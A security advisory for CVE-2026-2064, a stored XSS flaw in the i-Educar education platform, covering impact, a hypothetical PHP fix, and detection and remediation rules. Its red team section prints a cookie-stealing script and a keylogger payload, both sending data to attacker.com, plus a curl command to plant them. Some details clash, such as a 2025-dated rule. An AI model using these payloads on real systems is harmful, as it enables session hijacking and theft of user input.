CVE-2026-2064

Executive Summary

CVE-2026-2064 is a stored cross-site scripting (XSS) vulnerability in Portabilis i-Educar, an open-source educational management platform. The flaw resides in the /intranet/meusdadod.php endpoint, where the File argument is not properly sanitized before being rendered. An attacker can inject arbitrary JavaScript or HTML, which will execute in the context of any authenticated user who views the affected page. The CVSS score is 3.5 (Low), but the public availability of exploit code and the lack of vendor response elevate the operational risk. No official patch exists; mitigation relies on manual code hardening or WAF rules.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to inject the payload.
• User Interaction (UI): Required (R) – Victim must visit the crafted page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No direct data leak.
• Integrity (I): Low (L) – Attacker can modify content within the victim’s session.
• Availability (A): None (N) – No denial-of-service impact.

Threat Level: Low (CVSS 3.5). However, the public exploit and unpatched status warrant immediate attention in environments where i-Educar is exposed to untrusted users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the File parameter of /intranet/meusdadod.php. The application likely stores user-supplied file names or paths without proper encoding. When the page is rendered, the unsanitized input is injected into the HTML, allowing script execution.

Attack Flow:

1. Attacker sends a POST request to /intranet/meusdadod.php with a malicious payload in the File parameter, e.g., <script>alert('XSS')</script>.
2. The server stores this payload in the database or session.
3. An authenticated user navigates to the same page.
4. The server retrieves the stored value and outputs it directly into the HTML.
5. The victim’s browser executes the injected script.

Why it matters: Even though the CVSS score is low, XSS can be chained with CSRF to perform account takeover, data exfiltration, or defacement. The lack of vendor response means no official fix will be released.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common secure coding practices.

Vulnerable Code (PHP):

<?php
// /intranet/meusdadod.php
$file = $_GET['File'];
echo "Selected file: " . $file;
?>

Patched Code (PHP):

<?php
// /intranet/meusdadod.php
$file = $_GET['File'];
echo "Selected file: " . htmlspecialchars($file, ENT_QUOTES, 'UTF-8');
?>

The fix uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of i-Educar <= 2.10.
• Network access to the /intranet/meusdadod.php endpoint.

Exploit Steps:

1. Craft a malicious payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the payload via a POST request:

   curl -X POST "http://target/intranet/meusdadod.php" -d "File=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
   

3. Wait for an authenticated user to visit the page.
4. The victim’s cookies are exfiltrated to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team

Detection:

• Monitor HTTP requests to /intranet/meusdadod.php for suspicious File parameters containing <script>, onerror, or javascript:.
• Use WAF rules to block XSS patterns in the File parameter.

Mitigation:

• Apply input validation and output encoding (see patched code).
• Restrict access to /intranet/meusdadod.php to trusted IPs or VPN users.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /intranet/meusdadod.php with File parameter containing <script> or onerror.
  • Outbound connections to unknown domains from the i-Educar server.
• File System:
  • Log entries in /var/log/apache2/access.log or similar showing XSS payloads.
• Application:
  • Stored XSS payloads in the database table associated with user data.

Detection Engineering

YARA Rule

rule CVE_2026_2064_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2026-2064 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2026-2064 XSS Attempt in i-Educar
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in the File parameter of /intranet/meusdadod.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/intranet/meusdadod.php'
        cs-uri-query|contains: 'File='
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate file names containing 'script' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-2064 XSS Attempt in i-Educar"; flow:to_server; content:"POST"; http_method; content:"/intranet/meusdadod.php"; http_uri; content:"File="; http_client_body; pcre:"/(<script|onerror=|javascript:|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate (No Patch):

   • Apply input validation and output encoding to the File parameter in /intranet/meusdadod.php.
   • Deploy a WAF rule to block XSS patterns.
   • Restrict access to the vulnerable endpoint via IP whitelisting or VPN.

2. Long-term:

   • Migrate to a supported version of i-Educar or fork the project to apply security fixes.
   • Conduct a full security audit of the application.
   • Implement a Content Security Policy (CSP) to mitigate XSS impact.

3. Monitoring:

   • Enable detailed logging for /intranet/meusdadod.php.
   • Alert on any XSS-related patterns in web logs.

Valters IT
DevSecOps & Cyber Threat Intelligence